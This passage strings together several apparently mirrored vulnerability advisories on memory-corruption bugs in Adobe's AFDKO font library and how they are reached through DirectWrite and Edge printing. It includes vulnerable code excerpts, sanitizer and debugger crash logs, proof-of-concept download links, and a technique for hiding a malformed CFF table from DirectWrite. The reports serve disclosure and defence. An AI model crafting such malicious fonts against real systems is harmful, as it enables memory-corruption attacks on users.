"tx" tool compiled with AddressSanitizer, run as ./tx -cubef -cff <path to font file>: --- cut --- ================================================================= ==119029==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xff934174 at pc 0x083112cc bp 0xff934128 sp 0xff934120 WRITE of size 4 at 0xff934174 thread T0 #0 0x83112cb in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16 #1 0x82f4112 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1914:38 #2 0x82e4816 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1412:34 #3 0x82da1c4 in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #4 0x8194f84 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #5 0x8194131 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #6 0x8156184 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #7 0x81556df in doFile afdko/c/tx/source/tx.c:429:17 #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #11 0xf7b9c275 in __libc_start_main #12 0x806a590 in _start Address 0xff934174 is located in stack of thread T0 at offset 52 in frame #0 0x83100ef in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:985 This frame has 1 object(s): [16, 52) 'NDV' (line 990) <== Memory access at offset 52 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16 in do_set_weight_vector_cube Shadow bytes around the buggy address: 0x3ff267d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff267e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff267f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x3ff26820: 00 00 00 00 00 00 00 00 f1 f1 00 00 00 00[04]f3 0x3ff26830: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==119029==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47089.zip
  22. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, the CFR_NO_ENCODING flag must be unset while interacting with AFDKO to trigger the bug. According to our analysis, DirectWrite currently does specify this flag, but it still contains the readEncoding() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_NO_ENCODING flag is ever removed in the future, we have opted to report the bug despite its apparent unreachability at this time. -----=====[ Description ]=====----- The readEncoding() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the encoding table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO, if the CFR_NO_ENCODING flag is not set. The relevant part of the function is shown below: --- cut --- 2288 fmt = read1(h); 2289 2290 switch (fmt & 0x7f) { 2291 case 0: 2292 cnt = read1(h); 2293 while (gid <= cnt) 2294 encAdd(h, &h->glyphs.array[gid++], read1(h)); 2295 break; 2296 case 1: 2297 cnt = read1(h); 2298 while (cnt--) { 2299 short code = read1(h); 2300 int nLeft = read1(h); 2301 while (nLeft-- >= 0) 2302 encAdd(h, &h->glyphs.array[gid++], code++); 2303 } 2304 break; 2305 default: 2306 fatal(h, cfrErrEncodingFmt); 2307 } --- cut --- In both loops in lines 2292-2294 and 2297-2303, the code doesn't consider the size of the h->glyphs array and writes to it solely based on the encoding information. If the values read from the input stream in lines 2292, 2297 and/or 2300 exceed the number of glyphs in the font, the array may be overflown by the encAdd() function, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font: --- cut --- 1791 dnaSET_CNT(h->glyphs, index.count); --- cut --- -----=====[ Proof of Concept ]=====----- The three attached proof of concept files were generated by a fuzzer running against the "tx" utility compiled with AddressSanitizer. They are not complete OpenType fonts but rather raw CFF streams, which causes tx to not use the CFR_NO_ENCODING flag, which is necessary to reach the vulnerable readEncoding() function (c/tx/source/tx.c): --- cut --- 425 case src_OTF: 426 h->cfr.flags |= CFR_NO_ENCODING; 427 /* Fall through */ 428 case src_CFF: 429 cfrReadFont(h, rec->offset, rec->iTTC); 430 break; --- cut --- -----=====[ Crash logs ]=====----- A 64-bit "tx" program compiled with ASAN crashes with the following report when started with a ./tx -cff poc.cff command: --- cut --- ================================================================= ==205898==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b220 at pc 0x0000005573aa bp 0x7fff35b2b5c0 sp 0x7fff35b2b5b8 READ of size 8 at 0x62a00000b220 thread T0 #0 0x5573a9 in encAdd afdko/c/public/lib/source/cffread/cffread.c:2203:14 #1 0x540f80 in readEncoding afdko/c/public/lib/source/cffread/cffread.c:2302:29 #2 0x529eb9 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2805:17 #3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #8 0x7f116e1722b0 in __libc_start_main #9 0x41e5b9 in _start 0x62a00000b220 is located 32 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5 #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9 #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #12 0x7f116e1722b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2203:14 in encAdd Shadow bytes around the buggy address: 0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c547fff9640: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==205898==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47093.zip
  23. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below: --- cut --- 2347 switch (read1(h)) { 2348 case 0: 2349 for (gid = 0; gid < h->glyphs.cnt; gid++) 2350 h->glyphs.array[gid].iFD = read1(h); 2351 break; 2352 case 3: { 2353 int nRanges = read2(h); 2354 2355 gid = read2(h); 2356 while (nRanges--) { 2357 int fd = read1(h); 2358 long next = read2(h); 2359 2360 while (gid < next) 2361 h->glyphs.array[gid++].iFD = (unsigned char)fd; 2362 } 2363 } break; --- cut --- The "iFD" field is an unsigned char, as defined in afdko/c/public/lib/api/absfont.h: --- cut --- 393 unsigned char iFD; /* CID-keyed: FD index */ --- cut --- As shown above, it is initialized directly from the input stream and so the font file has complete control over it. There are no bounds checks to verify if the value is consistent with other structures in the font. The field is used to store an index into the h->fdicts array, whose size is determined by the length of the FDArray index, see readFDArray(): --- cut --- 1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray); 1699 if (h->index.FDArray.count > 256) 1700 fatal(h, cfrErrBadFDArray); 1701 1702 /* Read FDArray */ 1703 dnaSET_CNT(h->FDArray, h->index.FDArray.count); 1704 dnaSET_CNT(h->fdicts, h->index.FDArray.count); --- cut --- If any of the iFD fields are set to a value exceeding the lengths of the h->FDArray / h->fdicts arrays, the library may access invalid memory in the following locations in code: --- cut --- 2796 if (h->fdicts.array[info->iFD].Private.LanguageGroup == 1) 2797 info->flags |= ABF_GLYPH_LANG_1; [...] 2887 t2cAuxData *aux = &h->FDArray.array[info->iFD].aux; --- cut --- The second instance is especially dangerous in the context of memory safety, as the "aux" pointer fetched from an invalid memory location (potentially attacker-controlled) is later extensively used during the Type 2 CharString execution for reading and writing. As a side note, we believe that the FDArray / fdicts arrays should consist of at least one element for every CID-keyed font, so we would suggest adding an additional check for "h->index.FDArray.count < 1" in the if statement shown below: --- cut --- 1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray); 1699 if (h->index.FDArray.count > 256) 1700 fatal(h, cfrErrBadFDArray); --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept file contains a one-element FDArray. It also sets the iFD index of all glyphs to 1, which triggers a slightly out-of-bounds (off by one) access to h->fdicts.array[1] that is easily detected by AddressSanitizer. In non-ASAN builds, the code crashes later on when trying to access an invalid h->FDArray.array[1].aux pointer. The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified iFD was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report: --- cut --- ================================================================= ==199139==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00000d808 at pc 0x000000529c2c bp 0x7ffd5db0b270 sp 0x7ffd5db0b268 READ of size 8 at 0x62f00000d808 thread T0 #0 0x529c2b in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2796:56 #1 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #2 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #3 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #4 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #5 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #6 0x7f10333f82b0 in __libc_start_main #7 0x41e5b9 in _start 0x62f00000d808 is located 2440 bytes to the right of 51840-byte region [0x62f000000400,0x62f00000ce80) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x526b21 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2631:5 #6 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #7 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #8 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #11 0x7f10333f82b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2796:56 in cfrBegFont Shadow bytes around the buggy address: 0x0c5e7fff9ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c5e7fff9b00: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==199139==ABORTING --- cut --- A non-instrumented version of "tx" crashes with a SIGSEGV trying to fetch a function pointer from an unmapped memory area: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255 255 if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset)) (gdb) x/15i $rip => 0x46382f <srcSeek+31>: mov 0x20(%rsi),%rsi 0x463833 <srcSeek+35>: mov -0x10(%rbp),%rdi 0x463837 <srcSeek+39>: mov 0x9cef8(%rdi),%rdi 0x46383e <srcSeek+46>: mov 0x10(%rdi),%rdi 0x463842 <srcSeek+50>: mov -0x10(%rbp),%rax 0x463846 <srcSeek+54>: mov 0x9cef8(%rax),%rax 0x46384d <srcSeek+61>: mov 0x8(%rax),%rax 0x463851 <srcSeek+65>: mov -0x18(%rbp),%rdx 0x463855 <srcSeek+69>: mov %rsi,-0x20(%rbp) 0x463859 <srcSeek+73>: mov %rax,%rsi 0x46385c <srcSeek+76>: mov -0x20(%rbp),%rax 0x463860 <srcSeek+80>: callq *%rax 0x463862 <srcSeek+82>: cmp $0x0,%eax 0x463865 <srcSeek+85>: je 0x463877 <srcSeek+103> 0x46386b <srcSeek+91>: movl $0x1,-0x4(%rbp) (gdb) info reg $rsi rsi 0x440cc00044098000 4903505201673633792 (gdb) x/10gx $rsi 0x440cc00044098000: Cannot access memory at address 0x440cc00044098000 (gdb) print h->aux $1 = (t2cAuxData *) 0x7157f8 (gdb) print h->aux->stm $2 = (ctlStreamCallbacks *) 0x440cc00044098000 (gdb) print h->aux->stm->seek Cannot access memory at address 0x440cc00044098020 (gdb) bt #0 0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255 #1 0x000000000045da61 in t2Decode (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:1271 #2 0x000000000045cb26 in t2cParse (offset=23445, endOffset=23563, aux=0x7157f8, gid=0, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8) at ../../../../../source/t2cstr/t2cstr.c:2591 #3 0x000000000041371f in readGlyph (h=0x710380, gid=0, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927 #4 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966 #5 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151 #6 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429 #7 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:488 #8 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558 #9 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631 --- cut --- A similar Microsoft Edge renderer process crash is also shown below: --- cut --- (1838.4490): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!srcSeek+0x21: 00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h] ds:0030002f`00330050=???????????????? DWrite!srcSeek: 00007ffc`c59f1528 48895c2408 mov qword ptr [rsp+8],rbx 00007ffc`c59f152d 57 push rdi 00007ffc`c59f152e 4883ec20 sub rsp,20h 00007ffc`c59f1532 8bda mov ebx,edx 00007ffc`c59f1534 488bf9 mov rdi,rcx 00007ffc`c59f1537 488b91a8f40000 mov rdx,qword ptr [rcx+0F4A8h] 00007ffc`c59f153e 448bc3 mov r8d,ebx 00007ffc`c59f1541 488b4a10 mov rcx,qword ptr [rdx+10h] 00007ffc`c59f1545 488b5208 mov rdx,qword ptr [rdx+8] 00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h] 00007ffc`c59f154d ff15edd20200 call qword ptr [DWrite!_guard_dispatch_icall_fptr (00007ffc`c5a1e840)] 00007ffc`c59f1553 85c0 test eax,eax 00007ffc`c59f1555 7407 je DWrite!srcSeek+0x36 (00007ffc`c59f155e) 00007ffc`c59f1557 b801000000 mov eax,1 00007ffc`c59f155c eb08 jmp DWrite!srcSeek+0x3e (00007ffc`c59f1566) 00007ffc`c59f155e 899f94f40000 mov dword ptr [rdi+0F494h],ebx 00007ffc`c59f1564 33c0 xor eax,eax 00007ffc`c59f1566 488b5c2430 mov rbx,qword ptr [rsp+30h] 00007ffc`c59f156b 4883c420 add rsp,20h 00007ffc`c59f156f 5f pop rdi 00007ffc`c59f1570 c3 ret 0:038> db poi(rdi+f4a8) 0000020c`ffd04170 ee 01 64 00 6f 00 77 00-73 00 2f 00 32 00 30 00 ..d.o.w.s./.2.0. 0000020c`ffd04180 30 00 33 00 2f 00 30 00-38 00 2f 00 70 00 72 00 0.3./.0.8./.p.r. 0000020c`ffd04190 69 00 6e 00 74 00 69 00-6e 00 67 00 2f 00 70 00 i.n.t.i.n.g./.p. 0000020c`ffd041a0 72 00 69 00 6e 00 74 00-73 00 63 00 68 00 65 00 r.i.n.t.s.c.h.e. 0000020c`ffd041b0 6d 00 61 00 6b 00 65 00-79 00 77 00 6f 00 72 00 m.a.k.e.y.w.o.r. 0000020c`ffd041c0 64 00 73 00 7d 00 50 00-00 00 67 00 65 00 52 00 d.s.}.P...g.e.R. 0000020c`ffd041d0 65 00 73 00 6f 00 6c 00-75 00 74 00 69 00 6f 00 e.s.o.l.u.t.i.o. 0000020c`ffd041e0 6e 00 00 00 00 00 80 3e-00 00 80 3e 00 00 80 3e n......>...>...> 0:038> k # Child-SP RetAddr Call Site 00 0000008a`e128be10 00007ffc`c59f3fe5 DWrite!srcSeek+0x21 01 0000008a`e128be40 00007ffc`c59f4a5b DWrite!t2DecodeSubr+0x21 02 0000008a`e128bea0 00007ffc`c59dc103 DWrite!t2cParse+0x287 03 0000008a`e129b800 00007ffc`c59de3f7 DWrite!readGlyph+0x12b 04 0000008a`e129b870 00007ffc`c59d2272 DWrite!cfrIterateGlyphs+0x37 05 0000008a`e129b8c0 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x19a 06 0000008a`e129bdc0 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212 07 0000008a`e129bfa0 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249 08 0000008a`e129c1c0 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192 09 0000008a`e129c520 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 0a 0000008a`e129c5b0 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0b 0000008a`e129c6d0 00007ffc`b3ff5464 d2d1!dxc::CXpsPrintControl::Close+0xc8 0c 0000008a`e129c720 00007ffc`b3fcfd30 edgehtml!CDXPrintControl::Close+0x44 0d 0000008a`e129c770 00007ffc`b3fd48bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0e 0000008a`e129c7a0 00007ffc`b3eab995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0f 0000008a`e129c7d0 00007ffc`b3b09485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 10 0000008a`e129c810 00007ffc`a3c244c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47097.zip
  24. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, it might be difficult to reach the vulnerability described here through DirectWrite, because DWrite would first have to accept and correctly load a font collection with a malformed directory count. During our brief testing, we were unable to achieve this. On the other hand, the Windows library still contains the readTTCDirectory() function together with the vulnerable code, so in case the code can be reached in a way we haven't considered, we have opted to report the bug despite its apparent unreachability at this time. -----=====[ Description ]=====----- The bug resides in the loading of font collections, i.e. files with the "ttcf" header. Specifically, the problem is found in the readTTCDirectory() function in source/sfntread/sfntread.c: --- cut --- 184 h->TTC.DirectoryCount = read4(h); 185 h->TTC.TableDirectory = (long *)memResize(h, h->TTC.TableDirectory, 186 h->TTC.DirectoryCount * sizeof(long *)); 187 h->flags |= TTC_STM; /* readSfntDirectory( reads in to h->TTC.TableDirectory[i].directory if TTC_STM is set.*/ 188 189 for (i = 0; i < h->TTC.DirectoryCount; i++) { 190 h->TTC.TableDirectory[i] = read4(h) + origin; 191 } --- cut --- The DirectoryCount field of type "long" is (almost - depending on the platform) fully controlled by the input file, as initialized in line 184. Then, it is used to calculate the size of a dynamically 